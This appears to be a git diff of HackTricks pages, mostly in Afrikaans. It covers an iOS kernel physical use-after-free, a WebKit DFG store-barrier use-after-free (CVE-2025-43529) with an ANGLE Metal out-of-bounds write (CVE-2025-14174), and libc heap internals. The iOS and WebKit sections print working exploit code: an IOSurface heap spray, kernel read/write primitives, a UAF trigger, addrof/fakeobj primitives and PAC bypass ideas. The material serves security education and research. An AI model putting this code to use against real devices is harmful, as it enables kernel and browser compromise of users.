+* Indien fyner beheer nodig is, kan ’n entry in een level (bv. L1) na ’n **child page table** op die volgende level (bv. L2) wys.
+
+#### Example: Mapping a Virtual Address
+
+Gestel jy probeer toegang verkry tot die virtual address **0x1000000000**:
+
+1. **L1 Table**:
+* Die kernel kontroleer die L1 page table entry wat met hierdie virtual address ooreenstem. Indien dit ’n **pointer na ’n L2 page table** bevat, gaan dit na daardie L2 table.
+2. **L2 Table**:
+* Die kernel kontroleer die L2 page table vir ’n meer gedetailleerde mapping. Indien hierdie entry na ’n **L3 page table** wys, gaan dit voort daarheen.
+3. **L3 Table**:
+* Die kernel soek die finale L3 entry op, wat na die **physical address** van die werklike memory page wys.
+
+#### Example of Address Mapping
+
+Indien jy die physical address **0x800004000** in die eerste index van die L2 table skryf, dan:
+
+* Virtual addresses van **0x1000000000** tot **0x1002000000** map na physical addresses van **0x800004000** tot **0x802004000**.
+* Dit is ’n **block mapping** op die L2-level.
+
+Alternatiewelik, indien die L2 entry na ’n L3 table wys:
+
+* Elke 4 KB page in die virtual address range **0x1000000000 -> 0x1002000000** sal deur individuele entries in die L3 table gemap word.
+
+### Physical use-after-free
+
+’n **Physical use-after-free** (UAF) vind plaas wanneer:
+
+1. ’n Process ’n gedeelte memory **allocate** as **readable and writable**.
+2. Die **page tables** opgedateer word om hierdie memory na ’n spesifieke physical address te map waartoe die process toegang het.
+3. Die process die memory **deallocate** (free).
+4. Weens ’n **bug** vergeet die kernel egter om die mapping uit die page tables te verwyder, hoewel dit die ooreenstemmende physical memory as free merk.
+5. Die kernel kan dan hierdie “freed” physical memory vir ander doeleindes **reallocate**, soos **kernel data**.
+6. Omdat die mapping nie verwyder is nie, kan die process steeds hierdie physical memory **lees en skryf**.
+
+Dit beteken dat die process toegang tot **pages of kernel memory** kan verkry, wat sensitiewe data of structures kan bevat, en ’n attacker moontlik in staat stel om **kernel memory te manipuleer**.[[1]](#references) [[2]](#references)
+
+### IOSurface Heap Spray
+
+Omdat die attacker nie kan beheer watter spesifieke kernel pages aan freed memory gealloceer sal word nie, gebruik hulle ’n technique genaamd **heap spray**:
+
+1. Die attacker **skep ’n groot aantal IOSurface objects** in kernel memory.
+2. Elke IOSurface object bevat ’n **magic value** in een van sy fields, wat dit maklik maak om te identifiseer.
+3. Hulle **scan die freed pages** om te kyk of enige van hierdie IOSurface objects op ’n freed page beland het.
+4. Wanneer hulle ’n IOSurface object op ’n freed page vind, kan hulle dit gebruik om **kernel memory te lees en skryf**.[[1]](#references) [[2]](#references)
+
+Meer info hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)[[1]](#references) [[3]](#references)
+
+> [!TIP]
+> Wees bewus daarvan dat iOS 16+- (A12+)-devices hardware mitigations (soos PPL of SPTM) bekendstel wat physical UAF techniques baie minder viable maak.
+> PPL dwing streng MMU protections af op pages wat verband hou met code signing, entitlements en sensitiewe kernel data, dus word writes vanaf userland of compromised kernel code na PPL-protected pages geblokkeer, selfs indien ’n page hergebruik word.
+> Secure Page Table Monitor (SPTM) brei PPL uit deur page table updates self te harden. Dit verseker dat selfs privileged kernel code nie freed pages stilweg kan remap of met mappings kan peuter sonder om deur secure checks te gaan nie.
+> KTRR (Kernel Text Read-Only Region), wat die kernel se code section ná boot as read-only lock. Dit voorkom enige runtime modifications aan kernel code, en sluit ’n belangrike attack vector af waarop physical UAF exploits dikwels staatmaak.
+> Boonop is `IOSurface` allocations minder voorspelbaar en moeiliker om in user-accessible regions te map, wat die “magic value scanning”-trick baie minder betroubaar maak. En `IOSurface` word nou deur entitlements en sandbox restrictions beskerm.
+
+### Step-by-Step Heap Spray Process
+
+1. **Spray IOSurface Objects**: Die attacker skep baie IOSurface objects met ’n spesiale identifier (“magic value”).
+2. **Scan Freed Pages**: Hulle kontroleer of enige van die objects op ’n freed page gealloceer is.
+3. **Read/Write Kernel Memory**: Deur fields in die IOSurface object te manipuleer, verkry hulle die vermoë om **arbitrary reads and writes** in kernel memory uit te voer. Dit stel hulle in staat om:
+* Een field te gebruik om **enige 32-bit value** in kernel memory te **lees**.
+* ’n Ander field te gebruik om **64-bit values te skryf**, wat ’n stabiele **kernel read/write primitive** bereik.[[1]](#references) [[2]](#references)
+
+Genereer IOSurface objects met die magic value IOSURFACE\_MAGIC om later daarvoor te soek:
+```c
+void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
+if (*nClients >= 0x4000) return;
+for (int i = 0; i < nSurfaces; i++) {
+fast_create_args_t args;
+lock_result_t result;
+
+size_t size = IOSurfaceLockResultSize;
+args.address = 0;
+args.alloc_size = *nClients + 1;
+args.pixel_format = IOSURFACE_MAGIC;
+
+IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
+io_connect_t id = result.surface_id;
+
+(*clients)[*nClients] = id;
+*nClients = (*nClients) += 1;
+}
+}
+```
+Soek na **`IOSurface`**-objekte in een vrygestelde fisiese bladsy:
+```c
+int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
+io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
+int nSurfaceIDs = 0;
+
+for (int i = 0; i < 0x400; i++) {
+spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
+
+for (int j = 0; j < nPages; j++) {
+uint64_t start = puafPages[j];
+uint64_t stop = start + (pages(1) / 16);
+
+for (uint64_t k = start; k < stop; k += 8) {
+if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
+info.object = k;
+info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
+if (self_task) *self_task = iosurface_get_receiver(k);
+goto sprayDone;
+}
+}
+}
+}
+
+sprayDone:
+for (int i = 0; i < nSurfaceIDs; i++) {
+if (surfaceIDs[i] == info.surface) continue;
+iosurface_release(client, surfaceIDs[i]);
+}
+free(surfaceIDs);
+
+return 0;
+}
+```
+### Bereiking van Kernel Read/Write met IOSurface
+
+Nadat beheer oor ’n IOSurface-object in kernel-geheue verkry is (gekoppel aan ’n vrygestelde fisiese bladsy wat vanaf userspace toeganklik is), kan ons dit vir **willekeurige kernel read- en write-bewerkings** gebruik.[[1]](#references)
+
+**Belangrike velde in IOSurface**
+
+Die IOSurface-object het twee kritieke velde:
+
+1. **Use Count Pointer**: Laat ’n **32-bit read** toe.
+2. **Indexed Timestamp Pointer**: Laat ’n **64-bit write** toe.
+
+Deur hierdie pointers te oorskryf, herlei ons hulle na willekeurige adresse in kernel-geheue, wat read/write-vermoëns moontlik maak.[[1]](#references)
+
+#### 32-Bit Kernel Read
+
+Om ’n read uit te voer:
+
+1. Oorskryf die **use count pointer** sodat dit na die teikenadres minus ’n 0x14-greensaansig wys.
+2. Gebruik die `get_use_count`-metode om die waarde by daardie adres te lees.
+```c
+uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
+uint64_t args[1] = {surfaceID};
+uint32_t size = 1;
+uint64_t out = 0;
+IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
+return (uint32_t)out;
+}
+
+uint32_t iosurface_kread32(uint64_t addr) {
+uint64_t orig = iosurface_get_use_count_pointer(info.object);
+iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
+uint32_t value = get_use_count(info.client, info.surface);
+iosurface_set_use_count_pointer(info.object, orig);
+return value;
+}
+```
+#### 64-Bit Kernel Write
+
+Om ’n write uit te voer:
+
+1. Oorskryf die **indexed timestamp pointer** na die doeladres.
+2. Gebruik die `set_indexed_timestamp`-metode om ’n 64-bis value te skryf.
+```c
+void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
+uint64_t args[3] = {surfaceID, 0, value};
+IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
+}
+
+void iosurface_kwrite64(uint64_t addr, uint64_t value) {
+uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
+iosurface_set_indexed_timestamp_pointer(info.object, addr);
+set_indexed_timestamp(info.client, info.surface, value);
+iosurface_set_indexed_timestamp_pointer(info.object, orig);
+}
+```
+#### Opsomming van Exploit-vloei
+
+1. **Trigger Physical Use-After-Free**: Vrygestelde pages is beskikbaar vir hergebruik.
+2. **Spray IOSurface Objects**: Ken baie IOSurface objects toe met ’n unieke "magic value" in kernel memory.
+3. **Identify Accessible IOSurface**: Vind ’n IOSurface op ’n vrygestelde page wat jy beheer.
+4. **Abuse Use-After-Free**: Wysig pointers in die IOSurface object om arbitrêre **kernel read/write** via IOSurface methods moontlik te maak.
+
+Met hierdie primitives bied die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write-primitives behels, wat moontlik vereis dat bykomende protections omseil word (byvoorbeeld PPL op nuwer arm64e-devices).[[1]](#references) [[2]](#references)
+
+## References
+
+- [1] [kfd - kernel exploits for the iOS 15/16-kernel](https://github.com/felix-pb/kfd)
+- [2] [’n Stap-vir-stap-gids vir die skryf van ’n iOS-kernel exploit](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)
+- [3] [felix-pb/kfd](https://github.com/felix-pb/kfd/tree/main/writeups)
+- [4] [Apple Platform Security - Apple SoC-sekuriteit](https://support.apple.com/guide/security/apple-soc-security-sec87716a080/web)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md b/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md
new file mode 100644
index 00000000000..d3582a50fb3
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md
@@ -0,0 +1,70 @@
+# WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Opsomming
+- **DFG Store Barrier-bug (CVE-2025-43529)**: In `DFGStoreBarrierInsertionPhase.cpp` veroorsaak ’n **Phi-node wat as escaped gemerk is terwyl sy Upsilon-insette dit nie is nie** dat die fase die **invoeging van ’n write barrier** op daaropvolgende object stores oorslaan. Onder GC-druk laat dit JSC toe om steeds-bereikbare objects vry te stel → **use-after-free**.[[1]](#references) [[2]](#references)
+- **Exploit-teiken**: Dwing ’n **Date**-object om ’n butterfly te materialiseer (byvoorbeeld `a[0] = 1.1`) sodat die butterfly vrygestel en daarna as array-elementberging herwin word, om boxed/unboxed-confusion → `addrof`/`fakeobj`-primitives te bou.[[1]](#references) [[2]](#references)
+- **ANGLE Metal PBO-bug (CVE-2025-14174)**: Die Metal-backend allokeer die PBO-staging buffer met behulp van `UNPACK_IMAGE_HEIGHT` in plaas van die werklike texture height. Deur ’n klein unpack height te verskaf en daarna ’n groot `texImage2D` uit te reik, veroorsaak dit ’n **OOB-skrywing in die staging buffer** (~240KB in die PoC hieronder).[[1]](#references)
+- **PAC-blokkeerders op arm64e (iOS 26.1)**: TypedArray `m_vector` en JSArray `butterfly` is PAC-signed; die forge van fake objects met attacker-beheerde pointers veroorsaak ’n crash met `EXC_BAD_ACCESS`/`EXC_ARM_PAC`. Slegs die hergebruik van **reeds-signed** butterflies (boxed/unboxed-reinterpretasie) werk.[[1]](#references) [[2]](#references)
+
+## Aktivering van die DFG ontbrekende barrier → UAF
+```js
+function triggerUAF(flag, allocCount) {
+const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
+arr[arr_index] = A; // Tenure A in old space
+const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
+
+// GC pressure
+for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
+
+const b = {p0: 0x42424242, p1: 1.1};
+let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
+A.p1 = f; // Missing barrier state set up
+
+for (let i = 0; i < 1e6; ++i) {} // GC race window
+b.p1 = a; // Store without barrier → frees `a`/butterfly
+}
+```
+Belangrike punte:
+- Plaas **A** in old space om generational barriers te aktiveer.
+- Skep ’n indexed **Date** sodat die **butterfly** die vrygestelde teiken is.
+- Spray `ArrayBuffer(0x800000)` om GC af te dwing en die race te verleng.
+- Die Phi/Upsilon escape mismatch keer barrier insertion; `b.p1 = a` loop **sonder ’n write barrier**, sodat GC `a`/butterfly herwin.
+
+## Butterfly reclaim → boxed/unboxed confusion
+Nadat GC die Date-butterfly vrygestel het, spray arrays sodat die vrygestelde slab as elements vir twee arrays met verskillende element kinds hergebruik word:[[1]](#references) [[2]](#references)
+```js
+boxed_arr[0] = obj; // store as boxed pointer
+const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
+unboxed_arr[0] = itof(addr); // write pointer bits as float
+const fake = boxed_arr[0]; // reinterpret as object → fakeobj
+```
+Status op **iOS 26.1 (arm64e)**:
+- **Werkend:** `addrof`, `fakeobj`, 20+ address leaks per run, inline-slot read/write (op bekende inline-velde).
+- **Nog nie stabiel nie:** veralgemeende `read64`/`write64` via inline-slot backings.
+
+## PAC-beperkings op arm64e (waarom fake objects crash)
+- **TypedArray `m_vector`** en **JSArray `butterfly`** is PAC-signed; die vervalsing van pointers lewer `EXC_BAD_ACCESS` / waarskynlik `EXC_ARM_PAC`.[[1]](#references) [[2]](#references)
+- Die confusion primitive werk omdat dit **legitieme, signed butterflies hergebruik**; die invoeging van unsigned attacker pointers laat authentication misluk.
+- Moontlike bypass-idees wat genoem is: JIT-paaie wat auth oorslaan, gadgets wat attacker pointers sign, of pivoting deur die ANGLE OOB.
+
+## ANGLE Metal PBO-onderallokasie → OOB write
+Gebruik ’n klein unpack height om die staging buffer te verklein, en laai dan ’n groot texture op sodat die copy verby die buffer se einde skryf:[[1]](#references)
+```js
+gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
+// staging = 256 * 16 * 4 = 16KB
+// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
+
+gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
+256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
+```
+Notas:
+- Fout in `TextureMtl.cpp`: staging buffer gebruik `UNPACK_IMAGE_HEIGHT` in plaas van die werklike texture height op die PBO path.[[1]](#references)
+- In die reference probe is die WebGL2 PBO trigger gekoppel, maar dit word nog nie betroubaar op iOS 26.1 waargeneem nie.
+
+## References
+
+- [1] [WebKit-UAF-ANGLE-OOB-Analysis - DFG Store Barrier UAF (CVE-2025-43529) & ANGLE Metal PBO OOB (CVE-2025-14174) op iOS 26.1](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis)
+- [2] [CVE-2025-43529 - WebKit JSC DFG StoreBarrierInsertionPhase UAF PoC](https://github.com/jir4vv1t/CVE-2025-43529)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md
index 319126fe052..5c96e52b93f 100644
--- a/src/binary-exploitation/libc-heap/README.md
+++ b/src/binary-exploitation/libc-heap/README.md
@@ -1,197 +1,192 @@
# Libc Heap
-## Heap Basics
+{{#include ../../banners/hacktricks-training.md}}
-The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
+## Basiese Heap-beginsels
-As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
+Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanvra deur funksies soos **`malloc`**, **`calloc`**... te roep. Wanneer hierdie geheue nie meer benodig word nie, word dit beskikbaar gestel deur die funksie **`free`** te roep.
+
+Soos getoon, is dit net ná die plek waar die binary in geheue gelaai word (kyk na die `[heap]`-afdeling):
-### Basic Chunk Allocation
+### Basiese Chunk-toewysing
-When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
+Wanneer data versoek word om in die heap gestoor te word, word 'n gedeelte van die heap daarvoor toegeken. Hierdie gedeelte behoort aan 'n bin, en slegs die versoekte data + die spasie van die bin headers + die minimum bin size offset sal vir die chunk gereserveer word. Die doel is om so min as moontlik geheue te reserveer sonder om dit ingewikkeld te maak om te bepaal waar elke chunk is. Hiervoor word die metadata chunk-inligting gebruik om te weet waar elke gebruikte/ongebruikte chunk is.
-There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
+Die allocator kan spasie op verskillende maniere reserveer, afhangend van die bin wat gebruik word, maar die algemene proses is:[[1]](#references)
-- The program starts by requesting certain amount of memory.
-- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
-- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
-- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
-- If everything fails, `malloc` returns null.
+- Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
+- As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om aan die versoek te voldoen, sal dit gebruik word.
+- Dit kan selfs beteken dat 'n gedeelte van die beskikbare chunk vir hierdie versoek gebruik word en die res by die chunks-lys gevoeg word.
+- As daar geen beskikbare chunk in die lys is nie, maar daar steeds spasie in die toegekende heap-geheue is, skep die heap manager 'n nuwe chunk.
+- As daar nie genoeg heap-spasie is om die nuwe chunk toe te ken nie, vra die heap manager die kernel om die geheue wat aan die heap toegeken is uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
+- As alles misluk, gee `malloc` null terug.
-Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
+Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te map.[[1]](#references)
## Arenas
-In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
+In **multithreaded** toepassings moet die heap manager **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **global mutex** te gebruik om te verseker dat slegs een thread op 'n slag toegang tot die heap kon kry, maar dit het **performance issues** veroorsaak weens die mutex-veroorsaakte bottelnek.[[1]](#references)
-To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
+Om dit aan te spreek, het die ptmalloc2 heap allocator "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** met sy **eie** datastrukture en **mutex** optree. Dit stel verskeie threads in staat om heap-bewerkings uit te voer sonder om met mekaar in te meng, solank hulle verskillende arenas gebruik.
-The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
+Die verstek-"main"-arena hanteer heap-bewerkings vir single-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap manager **secondary arenas** aan hulle toe om contention te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel en skep nuwe arenas indien nodig, tot 'n limiet van 2 keer die aantal CPU-cores vir 32-bit-stelsels en 8 keer vir 64-bit-stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot moontlike contention kan lei.
-Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
+Anders as die main arena, wat met die `brk` system call uitbrei, skep secondary arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap se gedrag te simuleer. Dit bied buigsaamheid in die bestuur van geheue vir multithreaded-bewerkings.
### Subheaps
-Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
+Subheaps dien as geheuereserwes vir secondary arenas in multithreaded toepassings, sodat hulle hul eie heap-areas afsonderlik van die main heap kan laat groei en bestuur. Hier is hoe subheaps van die aanvanklike heap verskil en hoe hulle werk:
-1. **Initial Heap vs. Subheaps**:
- - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
-2. **Memory Reservation with `mmap`**:
- - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
-3. **Gradual Expansion with `mprotect`**:
- - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
+1. **Aanvanklike Heap teenoor Subheaps**:[[1]](#references)
+- Die aanvanklike heap is direk ná die program se binary in geheue geleë en brei uit deur die `sbrk` system call te gebruik.
+- Subheaps, wat deur secondary arenas gebruik word, word deur `mmap` geskep, 'n system call wat 'n gespesifiseerde geheue-area map.
+2. **Geheuereservering met `mmap`**:
+- Wanneer die heap manager 'n subheap skep, reserveer dit 'n groot blok geheue deur `mmap`. Hierdie reservering ken nie onmiddellik geheue toe nie; dit dui bloot 'n area aan wat ander stelselprosesse of toewysings nie behoort te gebruik nie.
+- By verstek is die gereserveerde grootte vir 'n subheap 1 MB vir 32-bit-prosesse en 64 MB vir 64-bit-prosesse.
+3. **Geleidelike uitbreiding met `mprotect`**:
+- Die gereserveerde geheue-area word aanvanklik as `PROT_NONE` gemerk, wat aandui dat die kernel nog nie fisiese geheue aan hierdie area hoef toe te ken nie.
+- Om die subheap te laat "groei", gebruik die heap manager `mprotect` om bladsytoestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander. Dit veroorsaak dat die kernel fisiese geheue aan die voorheen gereserveerde adresse toeken. Hierdie stap-vir-stap-benadering laat die subheap toe om soos benodig uit te brei.
+- Sodra die hele subheap uitgeput is, skep die heap manager 'n nuwe subheap om met toewysing voort te gaan.
### heap_info
-This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
-
+Hierdie struct ken relevante inligting oor die heap toe. Boonop is heap-geheue moontlik nie aaneenlopend ná verdere toewysings nie; hierdie struct sal ook daardie inligting stoor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
- mstate ar_ptr; /* Arena for this heap. */
- struct _heap_info *prev; /* Previous heap. */
- size_t size; /* Current size in bytes. */
- size_t mprotect_size; /* Size in bytes that has been mprotected
- PROT_READ|PROT_WRITE. */
- size_t pagesize; /* Page size used when allocating the arena. */
- /* Make sure the following data is properly aligned, particularly
- that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
- MALLOC_ALIGNMENT. */
- char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
+mstate ar_ptr; /* Arena for this heap. */
+struct _heap_info *prev; /* Previous heap. */
+size_t size; /* Current size in bytes. */
+size_t mprotect_size; /* Size in bytes that has been mprotected
+PROT_READ|PROT_WRITE. */
+size_t pagesize; /* Page size used when allocating the arena. */
+/* Make sure the following data is properly aligned, particularly
+that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
+MALLOC_ALIGNMENT. */
+char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
-
### malloc_state
-**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
-It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
-In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
+**Elke heap** (main arena of ander threads arenas) het ’n **`malloc_state`-struktuur.**\
+Dit is belangrik om daarop te let dat die **main arena `malloc_state`**-struktuur ’n **globale veranderlike in die libc** is (en dus in die libc-geheuespasie geleë is).\
+In die geval van **`malloc_state`**-strukture van die heaps van threads, is hulle **binne hul eie thread-"heap"** geleë.
-There some interesting things to note from this structure (see C code below):
+Daar is ’n paar interessante dinge om van hierdie struktuur op te let (sien die C-kode hieronder):
-- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
+- `__libc_lock_define (, mutex);` verseker dat hierdie struktuur van die heap slegs deur 1 thread op ’n slag verkry word
- Flags:
- - ```c
- #define NONCONTIGUOUS_BIT (2U)
+- ```c
+#define NONCONTIGUOUS_BIT (2U)
- #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
- #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
- #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
- #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
- ```
-
-- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
-- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
-- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
-- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
+#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
+#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
+#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
+#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
+```
+- Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die small, large en unsorted **bins** (die -2 is omdat indeks 0 nie gebruik word nie)
+- Daarom sal die **eerste chunk** van hierdie bins ’n **backwards pointer na hierdie struktuur** hê, en die **laaste chunk** van hierdie bins sal ’n **forward pointer na hierdie struktuur** hê. Dit beteken basies dat indien jy hierdie adresse in die main arena kan **leak**, jy ’n pointer na die struktuur in die **libc** sal hê.
+- Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is linked lists van arenas
+- Die `top` chunk is die laaste "chunk", wat basies **al die oorblywende heap-spasie** is. Sodra die top chunk "leeg" is, is die heap volledig gebruik en moet dit meer spasie aanvra.
+- Die `last reminder` chunk kom voor in gevalle waar ’n chunk van die presiese grootte nie beskikbaar is nie en ’n groter chunk dus gesplit word; ’n pointer na die oorblywende deel word hier geplaas.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
- /* Serialize access. */
- __libc_lock_define (, mutex);
+/* Serialize access. */
+__libc_lock_define (, mutex);
- /* Flags (formerly in max_fast). */
- int flags;
+/* Flags (formerly in max_fast). */
+int flags;
- /* Set if the fastbin chunks contain recently inserted free blocks. */
- /* Note this is a bool but not all targets support atomics on booleans. */
- int have_fastchunks;
+/* Set if the fastbin chunks contain recently inserted free blocks. */
+/* Note this is a bool but not all targets support atomics on booleans. */
+int have_fastchunks;
- /* Fastbins */
- mfastbinptr fastbinsY[NFASTBINS];
+/* Fastbins */
+mfastbinptr fastbinsY[NFASTBINS];
- /* Base of the topmost chunk -- not otherwise kept in a bin */
- mchunkptr top;
+/* Base of the topmost chunk -- not otherwise kept in a bin */
+mchunkptr top;
- /* The remainder from the most recent split of a small request */
- mchunkptr last_remainder;
+/* The remainder from the most recent split of a small request */
+mchunkptr last_remainder;
- /* Normal bins packed as described above */
- mchunkptr bins[NBINS * 2 - 2];
+/* Normal bins packed as described above */
+mchunkptr bins[NBINS * 2 - 2];
- /* Bitmap of bins */
- unsigned int binmap[BINMAPSIZE];
+/* Bitmap of bins */
+unsigned int binmap[BINMAPSIZE];
- /* Linked list */
- struct malloc_state *next;
+/* Linked list */
+struct malloc_state *next;
- /* Linked list for free arenas. Access to this field is serialized
- by free_list_lock in arena.c. */
- struct malloc_state *next_free;
+/* Linked list for free arenas. Access to this field is serialized
+by free_list_lock in arena.c. */
+struct malloc_state *next_free;
- /* Number of threads attached to this arena. 0 if the arena is on
- the free list. Access to this field is serialized by
- free_list_lock in arena.c. */
- INTERNAL_SIZE_T attached_threads;
+/* Number of threads attached to this arena. 0 if the arena is on
+the free list. Access to this field is serialized by
+free_list_lock in arena.c. */
+INTERNAL_SIZE_T attached_threads;
- /* Memory allocated from the system in this arena. */
- INTERNAL_SIZE_T system_mem;
- INTERNAL_SIZE_T max_system_mem;
+/* Memory allocated from the system in this arena. */
+INTERNAL_SIZE_T system_mem;
+INTERNAL_SIZE_T max_system_mem;
};
```
-
### malloc_chunk
-This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
-
+Hierdie struktuur verteenwoordig ’n spesifieke chunk van geheue. Die verskillende velde het verskillende betekenisse vir toegewysde en ontoegewysde chunks.
```c
